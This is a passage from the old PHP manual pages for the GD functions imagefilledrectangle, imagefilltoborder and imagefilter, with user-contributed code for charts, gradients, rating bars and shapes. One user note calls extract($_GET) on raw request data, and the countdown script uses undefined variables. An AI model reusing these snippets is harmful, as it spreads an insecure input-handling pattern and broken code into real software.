In spite of what it says about requiring more than 3 vertices, it is possible to draw a triangle with this function!
tatlar at yahoo dot com 11-Sep-2006 05:08
<?php function _makeFiveSidedStar( $x, $y, $radius, $shape='polygon', $spiky=NULL ) {
    // $x, $y co-ords of origin (in pixels), $radius (in pixels), $shape - 'polygon' or 'star', $spikiness - ratio between 0 and 1
    $point = array() ;
    $angle = 360 / 5 ;
    $point[0]['x'] = $x ;
    $point[0]['y'] = $y - $radius ;
    $point[2]['x'] = $x + ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[2]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    $point[4]['x'] = $x + ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[4]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['x'] = $x - ( $radius * sin( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[6]['y'] = $y + ( $radius * cos( deg2rad( 180 - ( $angle*2 ) ) ) ) ;
    $point[8]['x'] = $x - ( $radius * cos( deg2rad( 90 - $angle ) ) ) ;
    $point[8]['y'] = $y - ( $radius * sin( deg2rad( 90 - $angle ) ) ) ;
    if( $shape == 'star' ) {
        if( $spiky == NULL ) $spiky = 0.5 ;  // default to 0.5
        $indent = $radius * $spiky ;
        $point[1]['x'] = $x + ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[1]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[3]['x'] = $x + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[3]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[5]['x'] = $x ;
        $point[5]['y'] = $y + ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['x'] = $x - ( $indent * sin( deg2rad( 180 - $angle ) ) ) ;
        $point[7]['y'] = $y - ( $indent * cos( deg2rad( 180 - $angle ) ) ) ;
        $point[9]['x'] = $x - ( $indent * cos( deg2rad( 90 - $angle/2 ) ) ) ;
        $point[9]['y'] = $y - ( $indent * sin( deg2rad( 90 - $angle/2 ) ) ) ;
    }
    ksort( $point ) ;
    $coords = array() ;  // new array
    foreach( $point as $pKey=>$pVal ) {
        if( is_array( $pVal ) ) {
            foreach( $pVal as $pSubKey=>$pSubVal ) {
                if( !empty( $pSubVal ) ) array_push( $coords, $pSubVal ) ;
            }
        }
    }
    return $coords ;
}
$values = _makeFiveSidedStar( 100, 100, 50, 'star' ) ;
// Put values into imagepolygon function. You need to define the $image and $color, and flush it out to an image type.?>
etnekor at tar dot hu 22-Jan-2006 01:18
There is a simple function to draw a filled point with a chosen radius and color.

<?php
function drawPoint($img, $radius, $origo_x, $origo_y, $pointColor)
{
  for ($i=0;$i<=360;$i++)
  {
    $pont[] = $origo_x + ($radius * sin(deg2rad($i)));
    $pont[] = $origo_y - ($radius * cos(deg2rad($i)));
  }
  reset($pont);
  ImageFilledPolygon ($img, $pont, (sizeof($pont)/2), $pointColor);
}
?>
imagefilledellipse
imagefilledrectangle
GD and Image Functions


Draw a filled rectangle

imagefilledpolygon
imagefilltoborder
GD and Image Functions
PHP Manual

imagefilledrectangle

(PHP 4, PHP 5)

imagefilledrectangle — Draw a filled rectangle

Description

bool imagefilledrectangle ( resource $image , int $x1 , int $y1 , int $x2 , int $y2 , int $color )

Creates a rectangle filled with color in the given image starting at point 1 and ending at point 2. 0, 0 is the top left corner of the image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x1

x-coordinate for point 1.

y1

y-coordinate for point 1.

x2

x-coordinate for point 2.

y2

y-coordinate for point 2.

color

The fill color. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagefilledrectangle() usage

<?php
// Create a 55x30 image
$im = imagecreatetruecolor(55, 30);
$white = imagecolorallocate($im, 255, 255, 255);

// Draw a white rectangle
imagefilledrectangle($im, 4, 4, 50, 25, $white);

// Save the image
imagepng($im, './imagefilledrectangle.png');
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : imagefilledrectangle()

User Contributed Notes

Tobi 25-Sep-2010 02:48
It looks like there are waves beetween the points, but it's straight.

<?php
$maxwert = 300;
$size = 10;
$img = imagecreatetruecolor($maxwert, $maxwert);
imagecolorallocate($img, 0, 0, 0);

   for($y=0;$y<$maxwert;$y += $size){
     for($x=0;$x<$maxwert;$x+=$size){
      $r = rand(0,255);
      $g = rand(0,255);
      $b = rand(0,255);
      $color = imagecolorallocate($img, $r, $g, $b);

      imagefilledrectangle ($img, $x, $y, $x+$size ,$y+$size, $color);

     }
   }
header("Content-type: image/png");
imagepng($img);
?>
Mice32 19-Mar-2010 04:57
That script draws Serpinski's carpet:

<?php
    set_time_limit(5);

    $i = 4;        // Iterations
    $xy = 500;    // Picture size

    $img = imagecreatetruecolor($xy, $xy);

    $white = imagecolorallocate($img, 255, 255, 255);

    drawCarpet(0, 0, $xy, $xy, $i);
    function drawCarpet($a, $b, $c, $d, $n) {
        global $img, $white;

        if($n <= 0) return;

        $a1 = 2 * $a / 3 + $c / 3;
        $c1 = $a / 3 + 2 * $c / 3;
        $b1 = 2 * $b / 3 + $d / 3;
        $d1 = $b / 3 + 2 * $d / 3;

        imagefilledrectangle($img, $a1, $b1, $c1, $d1, $white);

        drawCarpet($a, $b, $a1, $b1, $n - 1);
        drawCarpet($a1, $b, $c1, $b1, $n - 1);
        drawCarpet($c1, $b, $c, $b1, $n - 1);

        drawCarpet($c1, $b, $c, $b1, $n - 1);
        drawCarpet($a, $b1, $a1, $d1, $n - 1);
        drawCarpet($c1, $b1, $c, $d1, $n - 1);

        drawCarpet($a, $d1, $a1, $d, $n - 1);
        drawCarpet($a1, $d1, $c1, $d, $n - 1);
        drawCarpet($c1, $d1, $c, $d, $n - 1);
    }

    header('Content-Type: image/png');
    imagepng($img);
?>
mike at delenk dot net 07-May-2008 12:55
The examples in function imagettfbbox() gave me many problems because of misunderstand of how the text is positionned in the box.

So I did a new example:
- writing a text
- in the correct position in its box
- with a padding around

Enjoy !
Mike

<?

// some settings
    $angle = 0;
    $text = 'Ühg 0123456789';
    $font_face = dirname(__FILE__).'/verdana.ttf'; // put the file in the same directory
    $font_size = 9; //(int) pixels in GD 1, or points in GD 2

// retrieves box frame
    $box = imagettfbbox($font_size, 0, $font_face, $text);
    $bottom_left_x = $box[0]; // used below
    $bottom_left_y = $box[1]; // used below
    $bottom_right_x = $box[2]; // used below
    $bottom_right_y = $box[3];
    $top_right_x = $box[4];
    $top_right_y = $box[5];
    $top_left_x = $box[6];
    $top_left_y = $box[7]; // used below

// define width and height of the text box
    $box_w = abs($bottom_left_x) + abs($bottom_right_x);
    $box_h = abs($bottom_left_y) + abs($top_left_y);

// add padding
    $padding_x = 5;
    $padding_y = 5;
    $box_w = $box_w + 2 * $padding_x;
    $box_h = $box_h + 2 * $padding_y;

// origin of the text = baseline of the first char
    $text_x = abs($bottom_left_x) -1 + $padding_x;
    $text_y = $box_h -1 - abs($bottom_left_y) - $padding_y;

// mysterious correction for the characters going low like pgjq
    if(abs($bottom_left_y) <= 1) $box_h--;

// create the image
    $img = imagecreatetruecolor($box_w, $box_h);

// define some colors
    $white = imagecolorallocate($img,255,255,255);
    $black = imagecolorallocate($img,0,0,0);
    $lightgrey = imagecolorallocate($img, 200, 200, 200);
    $grey = imagecolorallocate($img,100,100,100);
    $yellow = imagecolorallocate($img, 0xFF, 0xFF, 0x00);

// attribute colors
    $font_color =  $black;
    $padding_color =  $lightgrey;
    $background_color =  $yellow;

// fill image with background color
    imagefill($img, 0, 0, $background_color);

// fill image with padding color
    imagefilledrectangle($img, 0, 0, $box_w, $padding_y - 1, $padding_color); // top
    imagefilledrectangle($img, 0, 0, $padding_x - 1, $box_h - 1, $padding_color); // left
    imagefilledrectangle($img, 0, $box_h - $padding_y -1, $box_w, $box_h - 1, $padding_color); // bottom
    imagefilledrectangle($img, $box_w - $padding_x, 0, $box_w - 1, $box_h - 1, $padding_color); // right

//write text
imagettftext($img, $font_size, 0, $text_x, $text_y, $font_color, $font_face, $text);

//rotate image
    if ($angle > 0) $img = imagerotate($img, $angle, $white);

// send header
    header("Content-type: image/gif");

//sends image
    imagegif($img);
    imagedestroy($img);
?>
kyperkins at shadowdev dot com 04-Feb-2008 02:29
This is a very simple Progress Bar using basic PHP 5.

<?php
#Created by Kyle "KP" Perkins
# of Shadow Development Technologies (http://shadowdev.com)
# on 20080204

#very simple and flexible dynamic PROGRESS BAR

#Used under the Creative Commons Share-Alike License 3.0
#http://creativecommons.org/licenses/by-sa/3.0/us/

#use: index.php?percent/total/width(px)
#example: ?s=85/100/300

#edit how you like, comments to kyperkins@shadowdev.com

header("Content-type: image/png");
extract($_GET);
$num=explode("/", $s);
$width=$num[2];
$per=($num[0]/$num[1]) * 100;
$percent=round($per, 0);
$im = @imagecreate($width, 20)
    or die("Cannot Initialize new GD image stream");
$background_color = imagecolorallocate($im, 200,200,200);
$text_color = imagecolorallocate($im, 255, 255, 255);
$fill=($percent/100)*$width;
$offset=($width/2)-($width*.02);
imagestring($im, 3, $offset, 5,  "$percent%", $text_color);
imagefilledrectangle($im, 0, 0, $fill, 20, imagecolorallocate($im, 0, 0, 255));
imagestring($im, 3, $offset, 5,  "$percent%", $text_color);
imagepng($im);
imagedestroy($im);
?>
Google 15-Dec-2006 01:35
<?php
//index.php
//set your year, month, daym hour, minute, second you want to cuuntdown to.

//ONLY CHANGE FROM HERE
$year="2006";
$month="12";
$day="25";
$hour="00";
$minute="00";
$second="00";
$event="Christmas Day 2006";

$time=mktime($hour, $minute, $second, $month, $day, $year);

$timecurrent=date('U');
$cdtime=$time-$timecurrent;
$cdmonths=$cddays/30;
$cdyears=$cddays/365;

//Used this case only...
$cdminutes=round($cdtime/60);
//cdtime is seconds
$cdhours=round($cdtime/3600);
$cddays=round($cdhours/24);

//String the date
$currentdate = date('l, F j, Y');
// Set the content-type
header("Content-type: image/png");

// Create the image
$im = imagecreatetruecolor(701, 355);

//Temp BGCOLOR (center of c-finder)
$bg1 = 208;
$bg2 = 130;
$bg3 = 208;

$s1 = $bg1 - 20;
$s2 = $bg2 - 20;
$s3 = $bg3 - 20;

$t1 = $bg1 + 30;
$t2 = $bg2 + 30;
$t3 = $bg3 + 30;

$cArray=array();
    $c1 = imagecolorallocate($im, $bg1, $bg2, $bg3); //Background
    $c8 = imagecolorallocate($im, 255, $bg2, 255); //Background
    $c2 = imagecolorallocate($im, $s1, $s2, $s3); //Shadow
    $c3 = imagecolorallocate($im, $t1, $t2, $t3); //Text

imagefilledrectangle($im, 0, 0, 701, 50, $c1);

imagefilledrectangle($im, 0, 0, 701, 50, $c8);

// The text to draw
$text = $string;
// Replace path by your own font path
$fnum = rand(1, 9);
$font = "/f/font ($fnum)";

// Add some shadow to the text
imagettftext($im, 29, 1, 17, 42, $c2, $font, "Today is:");
imagettftext($im, 28, -1, 15, 40, $c3, $font, "Today is:");
imagettftext($im, 29, 1, 17, 92, $c2, $font, "...$currentdate...");
imagettftext($im, 28, -1, 15, 90, $c3, $font, "...$currentdate...");
imagettftext($im, 29, 1, 17, 142, $c2, $font, "So there are exactly:");
imagettftext($im, 28, -1, 15, 140, $c3, $font, "So there are exactly:");
imagettftext($im, 29, 1, 17, 192, $c2, $font, "$cddays with just...");
imagettftext($im, 28, -1, 15, 190, $c3, $font, "$cddays days with just...");
imagettftext($im, 29, 1, 17, 242, $c2, $font, "$cdminutes minutes and only...");
imagettftext($im, 28, -1, 15, 240, $c3, $font, "$cdminutes minutes and only...");
imagettftext($im, 29, 1, 17, 292, $c2, $font, "$cdseconds seconds until...");
imagettftext($im, 28, -1, 15, 290, $c3, $font, "$cdseconds seconds until...");
imagettftext($im, 29, 1, 17, 342, $c2, $font, "- + $event + -");
imagettftext($im, 28, -1, 15, 340, $c3, $font, "- + $event + -");

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
info at 555webdesign dot com 25-Oct-2006 10:13
Thanks terereese. it took me over two hours to figure that one out.
it worked locally: imagefilledrectangle(imagresource, int x1, int x2, int y1, inty2, color)

BUT remote on my provider only this worked: imagefilledrectangle(imagresource, int x1, int y2, int x1, inty1, color)

Any ideas why and where?
terereese at hotmail dot com 11-Jul-2006 08:02
I would like to inform developers about a problem I encountered when trying to use imagefilledrectangle.

I noted that the order in which the start and end y coordinates are listed is extremely important.
as in the statements below.
if($this->d_values[$i]['unit_value'] < 0)
imagefilledrectangle($this->img,$position_x, $start_y , $end_x, $end_y ,$d_color);
else
imagefilledrectangle($this->img, $position_x,$ end_y , $end_x, $start_y,$d_colour);

Thanks
administrador(ensaimada)sphoera(punt)com 03-May-2006 03:33
I've made a function to make full color gradients:

<?php

// The image must be in truecolor mode!!
    function gradient_region($img, $x, $y, $width, $height,$src_color, $dest_color=0){
        $src_alpha = ($src_color) >> 24;
        $src_red = ($src_color & 0xFF0000) >> 16;
        $src_green = ($src_color & 0x00FF00) >> 8;
        $src_blue = ($src_color & 0x0000FF);

        $dest_alpha = ($dest_color) >> 24;
        $dest_red = ($dest_color & 0xFF0000) >> 16;
        $dest_green = ($dest_color & 0x00FF00) >> 8;
        $dest_blue = ($dest_color & 0x0000FF);

        $inc_alpha = ($dest_alpha - $src_alpha) / $width;
        $inc_red = ($dest_red - $src_red)/$width;
        $inc_green = ($dest_green - $src_green)/$width;
        $inc_blue = ($dest_blue - $src_blue)/$width;

        // If you need more performance, the step can be increased
        for ($i=0;$i<$width;$i++){
            $src_alpha += $inc_alpha;
            $src_blue += $inc_blue;
            $src_green += $inc_green;
            $src_red += $inc_red;
            imagefilledrectangle($img,
                $x+$i,$y,
                $x+$i,$y+$height,
                imagecolorallocatealpha($img,
                $src_red,$src_green,$src_blue,$src_alpha));
        }
    }
?>

More functions at http://www.sphoera.com
spam at junk dot dk 14-Apr-2006 03:42
A different kind of rating bar, using michal's rounded corners function :) I saw this type of rating bar somewhere and thought it looked cool, so the 'design' is a complete ripoff.

Also, note that it scales quite well, from tiny 3x3 pixel dots to huge 300x300 pixel blocks. (Man am I proud of this thing.. well, enjoy!)

/Scarpia

<?php

Header("Content-type: image/png");
drawRatingBlocks($rating);

function drawRatingBlocks($rating) {
    $rating = $_GET['rating'];
    $width = $_GET['width'];
    $height = $_GET['height'];
    $blocks = $_GET['blocks'];

    if ($width == 0) $width = 130;
    if ($height == 0) $height = 13;

    $spacing = max(1, floor($height/6) );

    if ($blocks == 0) $blocks = floor( $width / ($height-2 + $spacing) );

    $blockwidth = floor( $width / $blocks ) - $spacing;
    $short_side = min($height-2, $blockwidth);
    $blockvalue = 100 / $blocks;

    $image = ImageCreate($width,$height);
    $img2 = ImageCreate($width,$height);

    // Define base colors
    $back = ImageColorAllocate($image,255,255,255);
    $blur = ImageColorAllocate($image,230,223,188);
    $fill = ImageColorAllocate($image,188,182,133);
    $lightblur = ImageColorAllocate($image,238,235,216); // Would be nice to calculate these dynamically instead
    $lightfill = ImageColorAllocate($image,221,217,193); // Would be nice to calculate these dynamically instead
    ImagePaletteCopy($img2,$image);

    ImageFilledRectangle($image,0,0,$width-1,$height-1,$back);
    ImageFilledRectangle($img2,0,0,$width-1,$height-1,$back);

    if ($short_side < 25)
        $radius = 1;
    else if ($short_side < 40)
        $radius = 3;
    else if ($short_side < 50)
        $radius = 5;
    else
        $radius = floor($height/10);

    for($i=0;$i<$blocks;$i++) {
        $startX = ($blockwidth+$spacing)*$i + 1;
        if ((9 <= $short_side) && ($short_side <= 16))
        {
            ImageFilledRectangle($image, $startX, 1, $startX+$blockwidth-1, $height-2, $lightblur);
            ImageFilledRectangle($img2, $startX, 1, $startX+$blockwidth-1, $height-2, $lightfill);
        }
        ImageRectangleWithRoundedCorners($image, $startX, 1, $startX+$blockwidth-1, $height-2, $radius, $blur);
        ImageRectangleWithRoundedCorners($img2, $startX, 1, $startX+$blockwidth-1, $height-2, $radius, $fill);
    }

    $barwidth = ($rating/100)*$blocks*$blockwidth;
    $barwidth += floor($barwidth/$blockwidth)*$spacing+1;

    ImageCopy( $image, $img2, 0, 0, 0, 0, $barwidth, $height );
    ImageDestroy($img2);

    ImagePNG($image);
    ImageDestroy($image);
}

function ImageRectangleWithRoundedCorners(&$im, $x1, $y1, $x2, $y2, $radius, $color)
{
    // Draw rectangle without corners
    ImageFilledRectangle($im, $x1+$radius, $y1, $x2-$radius, $y2, $color);
    ImageFilledRectangle($im, $x1, $y1+$radius, $x2, $y2-$radius, $color);
    // Draw circled corners
    ImageFilledEllipse($im, $x1+$radius, $y1+$radius, $radius*2, $radius*2, $color);
    ImageFilledEllipse($im, $x2-$radius, $y1+$radius, $radius*2, $radius*2, $color);
    ImageFilledEllipse($im, $x1+$radius, $y2-$radius, $radius*2, $radius*2, $color);
    ImageFilledEllipse($im, $x2-$radius, $y2-$radius, $radius*2, $radius*2, $color);
}

?>
me [a.t.] forestfactory [d.o.t.] de 12-Oct-2005 04:44
As of PHP 5, it seems to be no longer necessary to draw the rectangle from the upper left to the lower right corner. This led me into big trouble porting a script developed under PHP 5 to PHP 4.
michal dot kocarek at seznam dot cz 30-May-2004 01:18
If you want to draw a rectangle with rounded corners, you can use this simple function...
Rectangle starts at x1y1 and ends at x2y2. $radius defines radius of circled corner.

<?

function ImageRectangleWithRoundedCorners(&$im, $x1, $y1, $x2, $y2, $radius, $color) {
// draw rectangle without corners
imagefilledrectangle($im, $x1+$radius, $y1, $x2-$radius, $y2, $color);
imagefilledrectangle($im, $x1, $y1+$radius, $x2, $y2-$radius, $color);
// draw circled corners
imagefilledellipse($im, $x1+$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y1+$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x1+$radius, $y2-$radius, $radius*2, $radius*2, $color);
imagefilledellipse($im, $x2-$radius, $y2-$radius, $radius*2, $radius*2, $color);
}

?>
sdonie at lgc dot com 27-May-2004 10:19
I made some simple additions to the 'ratings bar' example above to allow for different sizes. It also doesn't assume that global GET variables is turned on, and explicitly looks for parameters it needs.

----
<?php

// copied from the PHP manual:
// http://us3.php.net/manual/en/function.imagefilledrectangle.php
//this needs to reside in its own php page
//you can include that php page in your html as you would an image:
//<IMG SRC="makebar.php?rating=25.2&width=200&height=20" border="0">
// rating is a percentage from 0 to 100.

function drawRating($rating) {
   $width = $_GET['width'];
   $height = $_GET['height'];
   if ($width == 0) {
      $width = 102;
   }
   if ($height == 0) {
      $height = 10;
   }

   $rating = $_GET['rating'];
   $ratingbar = (($rating/100)*$width)-2;

   $image = imagecreate($width,$height);
   //colors
   $back = ImageColorAllocate($image,255,255,255);
   $border = ImageColorAllocate($image,0,0,0);
   $red = ImageColorAllocate($image,255,60,75);
   $fill = ImageColorAllocate($image,44,81,150);

   ImageFilledRectangle($image,0,0,$width-1,$height-1,$back);
   ImageFilledRectangle($image,1,1,$ratingbar,$height-1,$fill);
   ImageRectangle($image,0,0,$width-1,$height-1,$border);
   imagePNG($image);
   imagedestroy($image);
}

Header("Content-type: image/png");
drawRating($rating);

?>
booga 17-Jan-2004 05:48
a simple way of using imagerectangle to create a percentage bar

<?php
//this needs to reside in its own php page
//you can include that php page in your html as you would an image:
//<IMG SRC="ratingpng.php?rating=25.2" border="0">

function drawRating($rating) {
    $image = imagecreate(102,10);
    $back = ImageColorAllocate($image,255,255,255);
    $border = ImageColorAllocate($image,0,0,0);
    $red = ImageColorAllocate($image,255,60,75);
    $fill = ImageColorAllocate($image,44,81,150);
    ImageFilledRectangle($image,0,0,101,9,$back);
    ImageFilledRectangle($image,1,1,$rating,9,$fill);
    ImageRectangle($image,0,0,101,9,$border);
    imagePNG($image);
    imagedestroy($image);
}

Header("Content-type: image/png");
drawRating($rating);

?>
ivank at 2xtreme dot net 30-Mar-2002 04:34
As stated above, it needs to go from the top left corner to the bottom right corner. Just use this to flip it if neccessary:

// flip them if neccessary (x3, y3 are temp vars)
if($x1 > $x2) { $x3 = $x2; $x2 = $x1; $x1 = $x3; }
if($y1 > $y2) { $y3 = $y2; $y2 = $y1; $y1 = $y3; }
ImageFilledRectangle($im, $x1, $y1, $x2, $y2, $color);
saramg at uclink dot berkeley dot edu 29-Nov-2001 07:42
Important quirk to note:

While imagerectangle will allow you to use a different order of your coordinates (such as bottom-left to upper-right), imagefilledrectangle will only work correctly if you use top-left to bottom-right as indicated in the docs.
imagefilledpolygon
imagefilltoborder
GD and Image Functions


Flood fill to specific color

imagefilledrectangle
imagefilter
GD and Image Functions
PHP Manual

imagefilltoborder

(PHP 4, PHP 5)

imagefilltoborder — Flood fill to specific color

Description

bool imagefilltoborder ( resource $image , int $x , int $y , int $border , int $color )

imagefilltoborder() performs a flood fill whose border color is defined by border. The starting point for the fill is x, y (top left is 0, 0) and the region is filled with color color.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x

x-coordinate of start.

y

y-coordinate of start.

border

The border color. A color identifier created with imagecolorallocate().

color

The fill color. A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Filling an ellipse with a color

<?php
// Create the image handle, set the background to white
$im = imagecreatetruecolor(100, 100);
imagefilledrectangle($im, 0, 0, 100, 100, imagecolorallocate($im, 255, 255, 255));

// Draw an ellipse to fill with a black border
imageellipse($im, 50, 50, 50, 50, imagecolorallocate($im, 0, 0, 0));

// Set the border and fill colors
$border = imagecolorallocate($im, 0, 0, 0);
$fill = imagecolorallocate($im, 255, 0, 0);

// Fill the selection
imagefilltoborder($im, 50, 50, $border, $fill);

// Output and free memory
header('Content-type: image/png');
imagepng($im);
imagedestroy($im);
?>

The above example will output something similar to:

Output of example : Filling an ellipse with a color

User Contributed Notes

php at corzoogle dot com 27-Jun-2005 12:08
pritm (.a.t.) mail (.d.0.t.) ru, your jpg black areas aren't entirely black, look *real* closely at it! so the fill will "seep through". the solution is simple, use a lossless background image format. replace this line..

<?
$im = imagecreatefrompng ('map-back.png');
?>

try it with this version of your image..

http://corz.org/public/images/demo/map-back.png
(the colours may be slightly different, just a quick conversion in my regular image viewer)

as you can see, it works perfectly..
http://corz.org/public/images/demo/filled.jpg

;o)
(or
Henrik Nyh 24-Jun-2005 01:26
Reply to pritm (.a.t.) mail (.d.0.t.) ru below.

I had a similar problem and solved it thus:

I had to reduce the number of colors on the image I was using. It appeared to be a black and white map, but contained about 50 shades of almost black and almost white. I reduced this to two colors only (also going from JPG to GIF) so that the borders as well as the areas to be filled each were of a consistent shade.

Additionally, it did not work when I specified border colors as black (0,0,0), even though they seem to be of this exact shade in the map file. Instead, I used ImageColorAt() to pick the border color, and now everything seems to work.

Image: http://henrik.nyh.se/dump/map/europe.gif
In action: http://henrik.nyh.se/dump/map/map.html

Source:

<?php

$map = "europe.gif";

$img = ImageCreateFromGIF($map);

// Colors
$border = ImageColorAt ($img, 416, 111);  // Get color of borders - apparently (0,0,0) won't work
$red = ImageColorAllocate($img, 255, 0, 0);
$green = ImageColorAllocate($img, 0, 255, 0);

// Fill
ImageFillToBorder($img, 440, 100, $border, $red);  // Sweden
ImageFillToBorder($img, 250, 290, $border, $green);  // Great Britain

// Output image as PNG
header("Content-type: image/png");
ImagePNG($img);
ImageDestroy($img);  // Free memoryu

?>
sbuchanan at datadiver dot net 10-May-2005 03:08
edrad's pseudo-sphere is pretty nice, but a few tweeks really improve it.  (writing out the image header so a browser actually understands it and calling imagedestroy() so we clean up memory are nice things to do, too).  Try drawing it at twice the size and then resampling it down.  Takes more CPU, but it forces antialiasing, creating a smooth arc.  Also, render it at diameter = (width - 1) * 2.  Taking one pixel off the outside keeps it off the image edge, eliminating those ugly flat spots.  Render it on white first so you can really see the edge, then switch back to the cool grey...

Oh, and use imagecreatetruecolor instead of imagecreate if you have it available.

I agree that imageellipse is easier, though.  Actually, I generate rounded corners with drop-shadows for CSS with imagefilledarc (kind of a blend of the two)  Use imagefilledellipse if drawing the whole thing, use imagefilledarc if only drawing part of it (like a corner).  If you use the 'filled' functions you can skip imagefilltoborder altogether :P

Anyway, try this for a smoother image:

<?php

  $requested_width = 300;
  $render_width = ($requested_width * 2) - 1; // -1 to back away from edge, removing flat spot
  $center = $render_width / 2;
  $colordivs = 255 / $center;
  $im_scratch = @imagecreate($render_width, $render_width);

  //$back_color = imagecolorallocate($im_scratch, 20, 30, 40);  // try it with white so you can really see the edge first..
  $back_color = imagecolorallocate($im_scratch, 255, 255, 255);

  imagefill($im_scratch, 0, 0, $back_color);

  for ($i = 0; $i <= $center; $i++) {
    $diametre = $render_width - 2 * $i;
    $el_color = imagecolorallocate($im_scratch, $i * $colordivs, 0, 0);
    imageellipse($im_scratch, $center, $center, $diametre, $diametre, $el_color);
    imagefilltoborder($im_scratch, $center, $center, $el_color, $el_color);
  }

  // resample down, causes antialiasing, nice smooth curve!
  $im = @imagecreatetruecolor($requested_width, $requested_width);
  imagecopyresampled($im, $im_scratch, 0, 0, 0, 0, $requested_width, $requested_width, $render_width, $render_width);

  header ("Content-type: image/png");
  imagepng($im);
  ImageDestroy($im);
  ImageDestroy($im_scratch);

?>
admin at worldlanguages dot tk 10-Sep-2004 02:54
In the example below, for those with newer GD versions, it makes more sense to replace:

imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);

with:

imageellipse($im, $center, $center, $diametre, $diametre, $el_color);

This is obviously simpler.
edrad at wanadoo dot fr 11-Jun-2003 05:02
Very useful to build a pseudo-sphere with a color gradient...

<?php
 $width = 300;
 $center = $width / 2;
 $colordivs = 255 / $center;
 $im = @imagecreate($width, $width);
 $back_color = imagecolorallocate($im, 20, 30, 40);
 imagefill($im, 0, 0, $back_color);
 for ($i = 0; $i <= $center; $i++)
 {
     $diametre = $width - 2 * $i;
    $el_color = imagecolorallocate($im, $i * $colordivs, 0, 0);
    imagearc($im, $center, $center, $diametre, $diametre, 0, 360, $el_color);
    imagefilltoborder($im, $center, $center, $el_color, $el_color);
 }
 imagepng($im);
?>

Dark Skull Software
http://www.darkskull.net
ecofarm at mullum dot com dot au 25-Jan-2001 10:18
Great for getting that rounded button look we see a lot of at php.net ... try this sample. (remember to change png to whatever image format your version of php supports)

<?php

    Header ("Content-type: image/png");

      ///// create canvas  /////

    $im = ImageCreate (80, 25);

  //define colors.. first color declared is set as background

    $blue  = ImageColorAllocate ($im, 0, 0, 255);
    $white  = ImageColorAllocate ($im, 255, 255, 255);

      // draw semi-circle arcs at each end

    ImageArc($im, 12, 12, 23, 26, 90, 270, $white);
    ImageArc($im, 67, 12, 23, 26, 270, 90, $white);

      // fill ends outside arcs with color

    ImageFillToBorder ($im, 0, 0, $white, $white);
    ImageFillToBorder ($im, 79, 0, $white, $white);

      // create the image

    ImagePng ($im);

      // destroy the image to free memory

    ImageDestroy ($im);
?>
imagefilledrectangle
imagefilter
GD and Image Functions


Applies a filter to an image

imagefilltoborder
imagefontheight
GD and Image Functions
PHP Manual

imagefilter

(PHP 5)

imagefilter — Applies a filter to an image

Description

bool imagefilter ( resource $image , int $filtertype [, int $arg1 [, int $arg2 [, int $arg3 [, int $arg4 ]]]] )

imagefilter() applies the given filter filtertype on the image.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

filtertype

filtertype can be one of the following:

  • IMG_FILTER_NEGATE: Reverses all colors of the image.
  • IMG_FILTER_GRAYSCALE: Converts the image into grayscale.
  • IMG_FILTER_BRIGHTNESS: Changes the brightness of the image. Use arg1 to set the level of brightness.
  • IMG_FILTER_CONTRAST: Changes the contrast of the image. Use arg1 to set the level of contrast.
  • IMG_FILTER_COLORIZE: Like IMG_FILTER_GRAYSCALE, except you can specify the color. Use arg1, arg2 and arg3 in the form of red, blue, green and arg4 for the alpha channel. The range for each color is 0 to 255.
  • IMG_FILTER_EDGEDETECT: Uses edge detection to highlight the edges in the image.
  • IMG_FILTER_EMBOSS: Embosses the image.
  • IMG_FILTER_GAUSSIAN_BLUR: Blurs the image using the Gaussian method.
  • IMG_FILTER_SELECTIVE_BLUR: Blurs the image.
  • IMG_FILTER_MEAN_REMOVAL: Uses mean removal to achieve a "sketchy" effect.
  • IMG_FILTER_SMOOTH: Makes the image smoother. Use arg1 to set the level of smoothness.
  • IMG_FILTER_PIXELATE: Applies pixelation effect to the image, use arg1 to set the block size and arg2 to set the pixelation effect mode.

arg1

  • IMG_FILTER_BRIGHTNESS: Brightness level.
  • IMG_FILTER_CONTRAST: Contrast level.
  • IMG_FILTER_COLORIZE: Value of red component.
  • IMG_FILTER_SMOOTH: Smoothness level.
  • IMG_FILTER_PIXELATE: Block size in pixels.

arg2

  • IMG_FILTER_COLORIZE: Value of green component.
  • IMG_FILTER_PIXELATE: Whether to use advanced pixelation effect or not (defaults to FALSE).

arg3

  • IMG_FILTER_COLORIZE: Value of blue component.

arg4

  • IMG_FILTER_COLORIZE: Alpha channel, A value between 0 and 127. 0 indicates completely opaque while 127 indicates completely transparent.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | Pixelation support (IMG_FILTER_PIXELATE) was added.
5.2.5 | Alpha support for IMG_FILTER_COLORIZE was added.

Examples

Example #1 imagefilter() grayscale example

<?php
$im = imagecreatefrompng('dave.png');

if($im && imagefilter($im, IMG_FILTER_GRAYSCALE))
{
    echo 'Image converted to grayscale.';

    imagepng($im, 'dave.png');
}
else
{
    echo 'Conversion to grayscale failed.';
}

imagedestroy($im);
?>

Example #2 imagefilter() brightness example

<?php
$im = imagecreatefrompng('sean.png');

if($im && imagefilter($im, IMG_FILTER_BRIGHTNESS, 20))
{
    echo 'Image brightness changed.';

